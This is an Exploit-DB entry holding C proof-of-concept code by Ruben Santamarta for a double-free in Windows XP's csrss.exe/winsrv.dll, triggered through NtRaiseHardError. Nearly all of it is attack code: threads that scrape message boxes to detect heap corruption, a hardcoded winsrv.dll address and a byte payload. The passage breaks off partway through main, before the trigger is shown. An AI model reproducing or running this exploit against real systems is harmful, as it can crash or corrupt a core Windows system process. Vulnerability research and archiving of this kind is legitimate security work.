Exploit-DB #3052
Description: Microsoft Windows - 'Csrss.exe/winsrv.dll' NtRaiseHardError Double-Free
Type: dos
Platform: windows
Date: 2006-12-31
Author: Ruben Santamarta

Exploit:
/////////////////////////////////////////
/////////////////////////////////////////
///// Microsoft Windows NtRaiseHardError 
///// Csrss.exe-winsrv.dll Double Free  
/////////////////////////////////////////
///// Ruben Santamarta  
///// ruben at reversemode dot com
///// www.reversemode.com 
/////////////////////////////////////////
///// 12.29.2006
///// For educational purposes ONLY
///// Compiled using gcc (Dev-C++)
////////////////////////////////////////
////// XP SP2
////////////////////////////////////////


#include <stdio.h>
#include <windows.h>
#include <winbase.h>
#include <ntsecapi.h>

#define UNICODE
#define MAGIC_VALUE 0x75b4cd40  // winsrv.dll data section


BOOL gFon=FALSE;

typedef LONG NTSTATUS;
typedef NTSTATUS (WINAPI *PNTRAISE)(NTSTATUS, 
                                    ULONG,
                                    ULONG,
                                    PULONG,
                                    UINT,
                                    PULONG);    

// Csrss.exe memory monitor thread
// (Read csrss.exe memory disclosure exploit for details)

VOID WINAPI ReadBox2( LPVOID param ) 
{ 

	HWND hWindow,hButton,hText;
	DWORD hChunk,cHeader=0;
    int i=0,b=0;
	int gTemp;
	char lpTitle[300];
	char lpText[300];
	char lpBuff[500];
	ZeroMemory((LPVOID)lpTitle,250);
    ZeroMemory((LPVOID)lpText,250);
    ZeroMemory((LPVOID)lpBuff,300);
    Sleep(2000);
    
    for (;;)
	{
	
		lpText[0]=(BYTE)"";
        Sleep(1000);
		hWindow = FindWindow("#32770",NULL);
		ZeroMemory((LPVOID)lpTitle,250);
    	ZeroMemory((LPVOID)lpText,250);
    	ZeroMemory((LPVOID)lpBuff,300);
        
        if(hWindow != NULL)
		{
			GetWindowText(hWindow,(LPSTR)&lpTitle,250);
		    
            if(strcmp(lpTitle,"Aa")!=0)
		    {
    			hText=FindWindowEx(hWindow,0,"static",0);
    		    
    			GetWindowText(hText,(LPSTR)&lpText,250);
    			hText=GetNextWindow(hText,GW_HWNDNEXT);
    			
                GetWindowText(hText,(LPSTR)&lpText,250);
    		 
                cHeader=*(DWORD*)lpText;
                if( cHeader!=0)
                {
                      
                      if(cHeader >0x100000 && cHeader<0x400000)
                      {     
                            printf("\n**************************\n");
                            printf("Heap Chunk Found! Good Luck!\n");
                             printf("New Value: 0x%p",cHeader);
                           printf("\n**************************\n");
                            
                      }
                      else
                      {
                          printf("\n****************************\n");
                            printf("winsrv.dll data overwritten! \n");
                            printf("New Value: 0x%p",cHeader);
                            printf("\n****************************\n");
                           
                      }
                }  
                 else
                {
                    printf("\n****************************\n");
                    printf("nothing found! ");
                    printf("\n****************************\n");
                }  
                
                cHeader=*(DWORD*)lpTitle;
                if( cHeader!=0)
                {
                      
                      if(cHeader >0x100000 && cHeader<0x400000)
                      {     
                            printf("\n**************************\n");
                            printf("Heap Chunk Found! Good Luck!\n");
                             printf("New Value: 0x%p",cHeader);
                           printf("\n**************************\n");
                            
                      }
                      else
                      {
                          printf("\n****************************\n");
                            printf("winsrv.dll data overwritten! \n");
                            printf("New Value: 0x%p",cHeader);
                            printf("\n****************************\n");
                           
                      }
                }    
                else
                {
                    printf("\n****************************\n");
                    printf("nothing found! ");
                    printf("\n****************************\n");
                }
                
            }
            
            SendMessage(hWindow,WM_CLOSE,0,0); 
   			ZeroMemory((LPVOID)lpTitle,250);
    		ZeroMemory((LPVOID)lpText,250);
    		ZeroMemory((LPVOID)lpBuff,300);
        }
        CloseHandle(hWindow);
	}

}

VOID WINAPI ReadBox( LPVOID param ) 
{ 

	HWND hWindow;
	
    for (;;)
	{
        Sleep(1000);
		if(!gFon)
        {
                 hWindow = FindWindow("#32770",NULL);
		
                 if(hWindow != NULL )
		         {
                  SendMessage(hWindow,WM_CLOSE,0,0);
                  }
        }
	}

}


int main()
{
 
 
   UNICODE_STRING uStr={5,5,L"fun!"};
   ULONG retValue,args[]={MAGIC_VALUE,MAGIC_VALUE,(ULONG)&uStr};
   PNTRAISE NtRaiseHardError; 
   DWORD dwThreadId;  

   byte  *ShellCode ="\x5C\x3F\x3F\x5C\x40\xcd\xb4\x75\x40\xcd\xb4\x75"
                     "\x40\xcd\xb4\x75\x40\xcd\xb4\x75\x40\xcd\xb4\x75"
                     "\x40\xcd\xb4\x75\x40\xcd\xb4\x75\x40\xcd\xb4\x75"
                     "\x40\xcd\xb4\x75\x40\xcd\xb4\x75\x40\xcd\xb4\x75"
                     "\x40\xcd\xb4\x75\x40\xcd\xb4\x75\x40\xcd\xb4\x75"
                     "\x40\xcd\xb4\x75\x40\xcd\xb4\x75\x40\xcd\xb4\x75"
                     "\x40\xcd\xb4\x75\x40\xcd\xb4\x75\x40\xcd\xb4\x75"
                     "\x40\xcd\xb4\x75\x40\xcd\xb4\x75\x40\xcd\xb4\x75"
                     "\x40\xcd\xb4\x75\x40\xcd\xb4\x75\x40\xcd\xb4\x75"
                     "\x40\xcd\xb4\x75\x40\xcd\xb4\x75";
                     
   int i=0